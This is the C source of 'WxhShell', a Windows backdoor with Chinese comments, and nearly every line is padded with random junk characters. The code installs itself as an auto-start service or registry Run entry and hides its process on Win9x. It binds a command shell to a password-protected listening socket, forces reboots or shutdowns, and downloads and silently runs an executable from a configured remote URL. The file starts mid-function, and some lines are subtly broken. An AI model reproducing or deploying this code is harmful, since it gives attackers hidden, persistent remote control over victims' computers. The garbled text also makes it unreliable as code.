    if(Boot(SHUTDOWN))  [?moS!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kb*X2#;*  
    else { A%% Vyz  
    closesocket(wsh); ZRj&k9D^U  
    ExitThread(0); ~zL DLr=  
    } <g{d >j  
    break; ;hJz'&UWQ  
    } P] qL&_  
  // 获取shell \CZD.2p#&  
  case 's': { 1t<  nm)  
    CmdShell(wsh); |)b:@q3k+n  
    closesocket(wsh); lD@`xq.M;  
    ExitThread(0); ;&ypvKG  
    break; 2#xz,RM.  
  } xA]}/*  
  // 退出 O <"\G!y~  
  case 'x': { N:&EFfg3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >\ x!a:}  
    CloseIt(wsh); a0 8Wt  
    break; \jHIjFwQ  
    } w ;xbQZ|+  
  // 离开 m53~Ysq<  
  case 'q': { d9.~W5^fC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m-MfFEZ  
    closesocket(wsh); "aJf W  
    WSACleanup(); Q;0 g  
    exit(1); 3\0,>L9ET@  
    break; @XN|R  
        } M|}V6F_y  
  } @agxu-Y  
  } ]T1\gv1~  
lka Wwjv_D  
  // 提示信息 cX4I+Mf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )6:1`&6  
} Gq0`VHAn  
  } ]@hN&W(+x  
aP/Ff%5T  
  return; rqz`F\A;%  
} n1;zml:7_  
R 9b0D>Lxt  
// shell模块句柄 u E<1PgW  
int CmdShell(SOCKET sock) ,<!v!~Iy  
{ Vl%UT@D|  
STARTUPINFO si; (u-eL#@  
ZeroMemory(&si,sizeof(si)); ]lZ g }7h  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l3HfaCP6:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '0 J*9  
PROCESS_INFORMATION ProcessInfo; o&:'MwU  
char cmdline[]="cmd"; {Xv0=P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w>TTu: 7  
  return 0; /SD(g@G,  
} ]jgMN7  
'))K' u  
// 自身启动模式 7)dCdO  
int StartFromService(void) b;I zK'  
{ J)._&O$  
typedef struct 0Q!/A5z  
{ u Xo?  
  DWORD ExitStatus; x<\5Jrqt  
  DWORD PebBaseAddress; Df.eb|[{  
  DWORD AffinityMask; OZ6:u^OS]  
  DWORD BasePriority; xt1Ug~5  
  ULONG UniqueProcessId; 7&3  
  ULONG InheritedFromUniqueProcessId; FG)(,?q  
}   PROCESS_BASIC_INFORMATION; e)*-<AGwC  
Y4 {/P1F  
PROCNTQSIP NtQueryInformationProcess; FqXE6^  
W=\45BJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *~Sv\L  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SGK 5  
=;~*YD(%/  
  HANDLE             hProcess; #R*7y%cO  
  PROCESS_BASIC_INFORMATION pbi; ?(Ytc)   
PM`iqn)@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;C,t`(  
  if(NULL == hInst ) return 0; JiFB<Q\  
&.[I}KH|B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <7_s'UAL!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !4+ FN)  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W?<<al*  
|./{,",  
  if (!NtQueryInformationProcess) return 0; ;.Y-e Q,  
@wcrtf~{)&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .,<w_=  
  if(!hProcess) return 0; q0L\{  
*> E_lWW.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {h0T_8L/  
d9q`IZqee  
  CloseHandle(hProcess); !nL>Ly  
KpC!C9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Of m0{c=  
if(hProcess==NULL) return 0; `wKd##v'@  
r7-H`%.  
HMODULE hMod; }h1y^fuGi  
char procName[255]; -8:/My  
unsigned long cbNeeded; Q!70D)O$  
$;Z0CG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .~X&BY>qP  
KW(^-:wmr  
  CloseHandle(hProcess); oaG;i51!  
5QP`2I_n  
if(strstr(procName,"services")) return 1; // 以服务启动 &[P(}??Y\  
jwmPy)X|s\  
  return 0; // 注册表启动 TgA>(HcO  
} _o? I=UN2:  
`t3w|%La}  
// 主模块 LjCUkbzQF  
int StartWxhshell(LPSTR lpCmdLine) :QIf0*.O  
{ Nr?CZFN#  
  SOCKET wsl; +<bvh<]Od  
BOOL val=TRUE; ^Q9K]Vo  
  int port=0; KzQuLD(e  
  struct sockaddr_in door; rlY n"3%  
r6vI6|1  
  if(wscfg.ws_autoins) Install(); ~DP5Qi  
IO7cRg'-F  
port=atoi(lpCmdLine); lC@wCgc  
`*3;sq%`  
if(port<=0) port=wscfg.ws_port; x27$h)R0v  
;$3e pP  
  WSADATA data; T_[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NZz^*Ela  
hWi2S!*Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m-]F]c=)w<  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d)GR]^=r  
  door.sin_family = AF_INET; 5E^P2Mlc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (dwb{+HW  
  door.sin_port = htons(port); JqV}$E"M2  
SB,#y>Zv?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ce:wF#Qs  
closesocket(wsl); >Se-5QtLcf  
return 1; Kx02 2rgDU  
} /0b7"Kr  
N ;Cs? C  
  if(listen(wsl,2) == INVALID_SOCKET) { +/ ?oyC+Z  
closesocket(wsl); (-xVW#39  
return 1; iy|;xBI,  
} `NfwW:  
  Wxhshell(wsl); JA% y{Wb  
  WSACleanup(); (_AU)  
z9w]{Zd_,d  
return 0; NIHcX6Nw  
U/ax`_  
} pnUL+UYeM  
 PZj}]d `  
// 以NT服务方式启动 ']N\y6=fn9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9M-W 1prb  
{ @(IA:6GN  
DWORD   status = 0; 4lI&y<F  
  DWORD   specificError = 0xfffffff; eoJ*?v  
[8>#b_>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J;ycAF~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z{/#/,V5D4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,(f({l[J}  
  serviceStatus.dwWin32ExitCode     = 0; 'p)DJUwt  
  serviceStatus.dwServiceSpecificExitCode = 0; ~5>TMIDiuR  
  serviceStatus.dwCheckPoint       = 0; bnN&E?{hF1  
  serviceStatus.dwWaitHint       = 0; W9]0X  
*0m|`- T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3;88a!AA!  
  if (hServiceStatusHandle==0) return; Nz:p(X!  
P!gY&>EU  
status = GetLastError(); |@VhR(^O$  
  if (status!=NO_ERROR) $."F z x  
{ #<G:&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,{_56j^d,  
    serviceStatus.dwCheckPoint       = 0; -`$J& YU  
    serviceStatus.dwWaitHint       = 0; !Ej?9LHo  
    serviceStatus.dwWin32ExitCode     = status; [LrO"9q(  
    serviceStatus.dwServiceSpecificExitCode = specificError; zb s7G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); VVfTFi<  
    return; 9%2h e)Yqc  
  } 92~$Qa\S!  
(a"/cH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &{q<  
  serviceStatus.dwCheckPoint       = 0; t"OP*  
  serviceStatus.dwWaitHint       = 0; $ago  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fKO@Qx]  
} KN&|&51p}  
>1HXC2 Y  
// 处理NT服务事件,比如:启动、停止 ^S 45!mSb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) n8JM 0 U-  
{ aSI%!Vg.  
switch(fdwControl) i=&]%T6Qk  
{ )1 QOA  
case SERVICE_CONTROL_STOP: 9A87vs4[  
  serviceStatus.dwWin32ExitCode = 0; / S@iF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R G~GVf  
  serviceStatus.dwCheckPoint   = 0; di7cCn  
  serviceStatus.dwWaitHint     = 0; GC_c.|'6[  
  { )~`UDaj_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Ud!tK*H  
  } +pQ3bX  
  return; A)&CI6(  
case SERVICE_CONTROL_PAUSE: w|NId,#f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0QyL}y2  
  break; *;Cpz[N  
case SERVICE_CONTROL_CONTINUE: 3J8M0W   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /. H(&  
  break; OzR<jCOS  
case SERVICE_CONTROL_INTERROGATE: i~)EU F  
  break; d^`; tD  
}; C=2DxdZG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bf.yA:~U  
} 7 0EH~  
wOLV?Vk  
// 标准应用程序主函数 "U$](k.<VA  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %*RZxR):  
{ h 92KU  
A`"?~_pHC  
// 获取操作系统版本 d(9-T@J  
OsIsNt=GetOsVer(); i 1Kq (7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \GKR(~f  
1H-~+lf  
  // 从命令行安装 N#@v`S  
  if(strpbrk(lpCmdLine,"iI")) Install(); '8FHn~F  
Spn)M79  
  // 下载执行文件 BkY#wJ'  
if(wscfg.ws_downexe) { ab#z&jg!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) BB_(!omq[  
  WinExec(wscfg.ws_filenam,SW_HIDE); OX?E3 <8`  
} L[<CEk  
^ > ?C  
if(!OsIsNt) { ^/#8 "  
// 如果时win9x,隐藏进程并且设置为注册表启动 h"'}Z^  
HideProc(); )1$H 7|  
StartWxhshell(lpCmdLine); JIqg[Mao  
} K3h"oVn  
else : %uaaFl  
  if(StartFromService()) d[nz0LI|mk  
  // 以服务方式启动 U* uMMb}$  
  StartServiceCtrlDispatcher(DispatchTable); b *3h}n;  
else \HQ.Pwr 6  
  // 普通方式启动 Ocn@JOg  
  StartWxhshell(lpCmdLine); qE VpkvEq  
P + C5 s  
return 0; Zv* uUe  
} AYfe_Dj  
s,l*=<  
BuUM~k&SY  
T0.sL9  
=========================================== e E(+  
0QxBC7` qp  
&}K%F)S  
if3z Fh  
}J2f$l>R  
q(4Ny<=,'K  
" "KSdC8MS  
{xOzxLB;  
#include <stdio.h> }SyK)W5Y  
#include <string.h> THB[(3q  
#include <windows.h> zU!d(ge.E  
#include <winsock2.h> 7!)VO D8Z  
#include <winsvc.h> PYzTKjw  
#include <urlmon.h> nZG zez  
k_?~@G[I  
#pragma comment (lib, "Ws2_32.lib") `tcX[(`  
#pragma comment (lib, "urlmon.lib") ]24]id  
B\% Gp}  
#define MAX_USER   100 // 最大客户端连接数 G*~CB\K_  
#define BUF_SOCK   200 // sock buffer Xq"Es  
#define KEY_BUFF   255 // 输入 buffer 9l:[jsk<d  
BB ::zBg  
#define REBOOT     0   // 重启 ZwiXeD+4  
#define SHUTDOWN   1   // 关机 > %slzr  
}o\} qu*  
#define DEF_PORT   5000 // 监听端口 6Q{OM:L/;.  
mS49l  
#define REG_LEN     16   // 注册表键长度 !D V0u)k(  
#define SVC_LEN     80   // NT服务名长度 woF {O)~X  
)J2UNIgN  
// 从dll定义API ~=<uYv?0s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cv4nl7A'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !lA~;F  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *y$CDv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B]mMwqM#  
3C'6i  
// wxhshell配置信息 $vn)(zn+  
struct WSCFG { Bgp%hK  
  int ws_port;         // 监听端口 fZ^ad1o  
  char ws_passstr[REG_LEN]; // 口令 ~y whl'"k  
  int ws_autoins;       // 安装标记, 1=yes 0=no ] ;HCt=I~  
  char ws_regname[REG_LEN]; // 注册表键名 {Z Ld_VGW  
  char ws_svcname[REG_LEN]; // 服务名 IGab~`c-[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 DJqJ6z:'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zsR5"Vi=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =.J cIT'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no dP>FXgY  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gv i!|!M=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sM%l:Fv  
hW6Ksn,*  
}; c `.BN(  
77wod}h!:  
// default Wxhshell configuration ,DEcCHr,  
struct WSCFG wscfg={DEF_PORT, 2Uu!_n}tNF  
    "xuhuanlingzhe", KuL+~  
    1, "|R75m,Id  
    "Wxhshell", OI3j!L2f  
    "Wxhshell", OKk" S_`  
            "WxhShell Service", `DM)tm3&m  
    "Wrsky Windows CmdShell Service", yf-2E_yB  
    "Please Input Your Password: ", (T&(PCw|  
  1, Ug4o2n0sk  
  "http://www.wrsky.com/wxhshell.exe", 1Tev&J  
  "Wxhshell.exe" C~. T[Mlu  
    }; kjXwVGK=P<  
s?4nR:ZC}  
// 消息定义模块 r`RLDN!`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $@L2zl1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; WMWUP ZsGS  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fvV"H{V,  
char *msg_ws_ext="\n\rExit."; >;VZB/ d  
char *msg_ws_end="\n\rQuit."; #q-fRZ:P  
char *msg_ws_boot="\n\rReboot..."; Lr= ^0  
char *msg_ws_poff="\n\rShutdown..."; ,}9 tJY@ E  
char *msg_ws_down="\n\rSave to "; 9}tl @  
3\C+g{}e  
char *msg_ws_err="\n\rErr!"; 2 !9Zw$  
char *msg_ws_ok="\n\rOK!"; w@n}DCFt  
C}DIm&))  
char ExeFile[MAX_PATH]; \+0l#t$  
int nUser = 0; I[w5V;>*  
HANDLE handles[MAX_USER]; 8!@}\6qM  
int OsIsNt; *O\lR-z!k  
wm9wnAy  
SERVICE_STATUS       serviceStatus; ;:>q;%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <P@O{Xi+K  
@P i]kWW})  
// 函数声明 2^w{Hcf  
int Install(void); .[3C  
int Uninstall(void); Ttp%U8-LJR  
int DownloadFile(char *sURL, SOCKET wsh); /-WmOn*  
int Boot(int flag); 4gUx#_AaG  
void HideProc(void); "/2kf)l{4  
int GetOsVer(void); 2iO{*cB  
int Wxhshell(SOCKET wsl); kg,\l9AM  
void TalkWithClient(void *cs); u,N<U t  
int CmdShell(SOCKET sock); ]1W]  
int StartFromService(void); "<%J^Z9G  
int StartWxhshell(LPSTR lpCmdLine); >$)~B 4  
=^_a2_BBl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G2+ gEg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $M+'jjnP  
BQ70<m2D$  
// 数据结构和表定义 4x@W]*i  
SERVICE_TABLE_ENTRY DispatchTable[] =  obPG]*3  
{ }7P[%(T5  
{wscfg.ws_svcname, NTServiceMain}, p{ ``a=  
{NULL, NULL} vF>]9sMv  
}; (A=Z,ed  
$H]NC-\+>  
// 自我安装 aygK$.wos  
int Install(void) W"CG&.  
{ PAxR?2m{  
  char svExeFile[MAX_PATH]; 'fk6]&-I  
  HKEY key; ?5,I`9  
  strcpy(svExeFile,ExeFile); M=SrZ,W  
>J_ P[v  
// 如果是win9x系统,修改注册表设为自启动 -w5sXnS  
if(!OsIsNt) { !@ y/{~Gu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #^$_3A Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F2EX7Crj  
  RegCloseKey(key); ?32i1F!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \C$cbI=;+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'iDkAmvD  
  RegCloseKey(key); U\-.u3/  
  return 0; z^WY5~?  
    } >&F:/   
  } ?C   
} ?I"?J/zm  
else { Mm9*$g!R  
XV`8Vb  
// 如果是NT以上系统,安装为系统服务 ;d]vAj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |L:X$oM  
if (schSCManager!=0) .WuSW[g  
{ v-Q>I5D;:  
  SC_HANDLE schService = CreateService $+Z2q<UT  
  ( )e6sg]#  
  schSCManager, *~b~y7C  
  wscfg.ws_svcname, {MDM=;WP_  
  wscfg.ws_svcdisp, ]#G1 ]U  
  SERVICE_ALL_ACCESS, 0[N1SY\lj  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =En1?3?  
  SERVICE_AUTO_START, _9Rj,  
  SERVICE_ERROR_NORMAL, R\/tKZJjb  
  svExeFile, _5$L`&  
  NULL, crSqbL  
  NULL, Y4X`(\A  
  NULL, @e$EwCV,  
  NULL, jR@>~t[}o  
  NULL $d,{I8d  
  ); s'IB{lJ9  
  if (schService!=0) l m(mY$B*_  
  { >$=l;jO`n  
  CloseServiceHandle(schService); xh!T,|IR  
  CloseServiceHandle(schSCManager); ,Z! I^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C',uY7}<  
  strcat(svExeFile,wscfg.ws_svcname); pr,1pqiAf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AI9922}*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TgJ6O,0  
  RegCloseKey(key); \$F#bIjC  
  return 0; HMmVfGp]  
    } y-gXGvZ  
  } Pj{I} 4P`  
  CloseServiceHandle(schSCManager); =U8+1b  
} )a `kL,  
} g@Y]$ey%A  
_g,_G  
return 1; o& $lik  
} qG g29  
sr(nd35  
// 自我卸载 [UB*39D7  
int Uninstall(void) 0W+RVp=TL1  
{ [8oX[oP  
  HKEY key; wL6G&6]</W  
;ZP!:,  
if(!OsIsNt) { , E$f"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q]VG6x  
  RegDeleteValue(key,wscfg.ws_regname); i<=2 L?[.I  
  RegCloseKey(key); 6KD-nr{S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yF+mJ >kj  
  RegDeleteValue(key,wscfg.ws_regname); ZW@cw}  
  RegCloseKey(key); Ol|fdQ  
  return 0; CLJn+Y2  
  } %afF%y  
} <54KWC86)J  
} ;z+}|>!  
else { 78?cCj{e  
j8rxhToC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h%v qt~0  
if (schSCManager!=0) mC?}:W M@  
{ 1|:;~9n<t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uX&h~qE/  
  if (schService!=0) +~M.Vs X  
  { ?Jgqb3+!o  
  if(DeleteService(schService)!=0) { C 20VSwd  
  CloseServiceHandle(schService); 8E9k7  
  CloseServiceHandle(schSCManager); CoWT  
  return 0; &SPr#OkW  
  } ilZ5a&X;  
  CloseServiceHandle(schService); !0):g/2h  
  } &+ H\ST(/  
  CloseServiceHandle(schSCManager); I'N!j>5oX  
} BuxU+  
} 'AmA3x)9u  
y$6EEp  
return 1; Y/pK  
} 1YU?+K  
6wXy;!2  
// 从指定url下载文件 T]b&[?p|a[  
int DownloadFile(char *sURL, SOCKET wsh) uigzf^6,  
{ #BZ5Mxzj  
  HRESULT hr; niYD[Ra\xP  
char seps[]= "/"; $v"CQD  
char *token; wi[FBLB/8  
char *file; <dz_7hR"  
char myURL[MAX_PATH]; tq=M 9c  
char myFILE[MAX_PATH]; WE-+WC!!:  
N4{g[[ T  
strcpy(myURL,sURL); A.r.tf}:  
  token=strtok(myURL,seps); m2ph8KC  
  while(token!=NULL) O(_f&a  
  { fWF!%|L  
    file=token; s!Iinc^p  
  token=strtok(NULL,seps); h///  
  } Mt%Q5^  
I7t}$ S6  
GetCurrentDirectory(MAX_PATH,myFILE); Lw?>1rTT/  
strcat(myFILE, "\\"); V|{~9^  
strcat(myFILE, file); yBv4 xKMH  
  send(wsh,myFILE,strlen(myFILE),0); NL!xk cXO  
send(wsh,"...",3,0); 0TiDQ4}i[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); z: )*Aobwv  
  if(hr==S_OK) 4FKgp|Y0  
return 0; `q1-yH0~4  
else #sbW^Q'I  
return 1; %L-{4Z!"sI  
fQ_tXY  
} -Q ];o~  
Vn_>c#B  
// 系统电源模块 WM=)K1p0u  
int Boot(int flag) $%ww$3  
{ %Rk0sfLvn  
  HANDLE hToken; aghlYcPg  
  TOKEN_PRIVILEGES tkp; y'JJ#7O=  
zhyf}Ta'  
  if(OsIsNt) { 2j1HN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4e?cW&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :&E~~EUW  
    tkp.PrivilegeCount = 1; aFh'KPhe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G,(Xz"`,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i"E_nN"V  
if(flag==REBOOT) {  {~w!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xZloEfv.B  
  return 0; U-{3HHA  
} S>"C}F$X  
else { @]EdUzzKq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @ W q8AFo  
  return 0; UyF;sw  
} p-7?S^!l  
  } x'%vL",%  
  else { +|4olK$[  
if(flag==REBOOT) { 4~WSIR-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) zXwdU5 8  
  return 0; ,.L o)[(  
} PX?^v8wlqL  
else { ]a:T]x6'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A!$sO p  
  return 0; j1ap,<\.k  
} 90wnwz  
} s;tI?kR>%  
DnF|wS  
return 1; -YipPo"a  
} y35e3  
CdtwR0  
// win9x进程隐藏模块 ^6!8)7b  
void HideProc(void) Lr`Gyl62  
{ wvr`~e  
-W|~YK7e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [[}ukG4  
  if ( hKernel != NULL ) -, $:^4  
  { oiz]Bd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z34+1d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z_T~2t  
    FreeLibrary(hKernel); ^vOEG;TR<-  
  } 160BgFM  
o+S?j*mv@  
return; F5w=tK  
} =[gFaB_H  
V:gXP1P  
// 获取操作系统版本 c&`]O\D-c  
int GetOsVer(void) F-Ku0z]){?  
{ eNm Wul  
  OSVERSIONINFO winfo; MA7&fNjB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (W9 K: ]}  
  GetVersionEx(&winfo); 7? ="{;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mVT[:a3  
  return 1; @DAaCF8  
  else L|A1bxt  
  return 0; K-@cn*6  
} /j\.~=,_  
` ^z l =  
// 客户端句柄模块 1flBA,6L  
int Wxhshell(SOCKET wsl) 6(q8y(.`  
{ fs#9*<]m  
  SOCKET wsh; U8zs=tA  
  struct sockaddr_in client; }</"~Kw!  
  DWORD myID; op_ 1J;RF  
7TZ,bD_  
  while(nUser<MAX_USER) GbC JGqOR  
{ }5QUIK~NA  
  int nSize=sizeof(client); \F7NuG:m,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W:2j.K9!  
  if(wsh==INVALID_SOCKET) return 1; }9+Vf'u|l  
RRGs:h@;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); k rXU*64  
if(handles[nUser]==0) u>2opI~m  
  closesocket(wsh); yJ8_<A  
else 9}d^ll&  
  nUser++; TZObjSm_v  
  } lhF)$M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !@ )JqF.  
2W)KfS  
  return 0; h<BTu7a`r  
} -TyBb]  
{ka={7  
// 关闭 socket YXGxE&!  
void CloseIt(SOCKET wsh) =%;TVJk*a  
{ }y%mG&KSz  
closesocket(wsh); XBTjb  
nUser--; _+&/P&  
ExitThread(0); QEY#U|  
} byIP]7Ld  
{\ BFWGX  
// 客户端请求句柄 "s\himoa  
void TalkWithClient(void *cs) Lo +H&-  
{ G-DOI  
s09&A]G  
  SOCKET wsh=(SOCKET)cs; _2<d6@}  
  char pwd[SVC_LEN]; x0q `Uc  
  char cmd[KEY_BUFF]; Ntpw(E<$f  
char chr[1]; &LhR0A  
int i,j; ,{#Li  
-.UUa  
  while (nUser < MAX_USER) { *47%| bf`  
+3-f$/po  
if(wscfg.ws_passstr) { FF30 VlJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OUm,;WNLf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F'njtrO3  
  //ZeroMemory(pwd,KEY_BUFF); sfCU"O2G  
      i=0; ^<Sy{KY  
  while(i<SVC_LEN) { t\-;n:p-  
sTECNY=l  
  // 设置超时 EB5 ^eNdL  
  fd_set FdRead; x<) T,c5Y  
  struct timeval TimeOut; ODPWFdRar  
  FD_ZERO(&FdRead); G5$YXNV  
  FD_SET(wsh,&FdRead); C)ebZ3  
  TimeOut.tv_sec=8; PtOYlZTe?  
  TimeOut.tv_usec=0; 9Ljd or  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~*RBMHs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l>@){zxL  
j.29nJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gCW {$d1=  
  pwd=chr[0]; ujbJ&p   
  if(chr[0]==0xd || chr[0]==0xa) { ZJ |&t  
  pwd=0; <{k8 K6  
  break; Xm^/t#  
  } Cvtz&dH  
  i++; iZ2nBi Q  
    } R|!4klb  
N-Sjd%Z  
  // 如果是非法用户,关闭 socket 2?c%<_jPA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;VPYWss  
} ljk,R G  
>F;yfv;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PKt;]T0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +HY.m+T  
iiV'-!3w  
while(1) { DbH'Qs?z  
WL1$LLzN  
  ZeroMemory(cmd,KEY_BUFF); V(6Ql j7  
{o8K&XU#&t  
      // 自动支持客户端 telnet标准   !]!J"!xg*  
  j=0; Qy| 6A@  
  while(j<KEY_BUFF) { ?xzDz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r?=3TAA  
  cmd[j]=chr[0]; >W=^>8u  
  if(chr[0]==0xa || chr[0]==0xd) { ~|=G3( I[  
  cmd[j]=0; 6i*LP(n  
  break; `5t CmU  
  } 3aEO9v,n  
  j++; QZ_8r#2x  
    } Cq<k(TKAX  
S(hT3MAW  
  // 下载文件 O|0}m  
  if(strstr(cmd,"http://")) { Xa&0j&AH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 604^~6  
  if(DownloadFile(cmd,wsh)) C )+%9Edg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !R1OSVFp  
  else v^1n.l %E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4XArpKA  
  } KvuM{UI5  
  else { 3>buZ6vh  
9I*`~il>{  
    switch(cmd[0]) { `'/1Ij+  
  >twog}%  
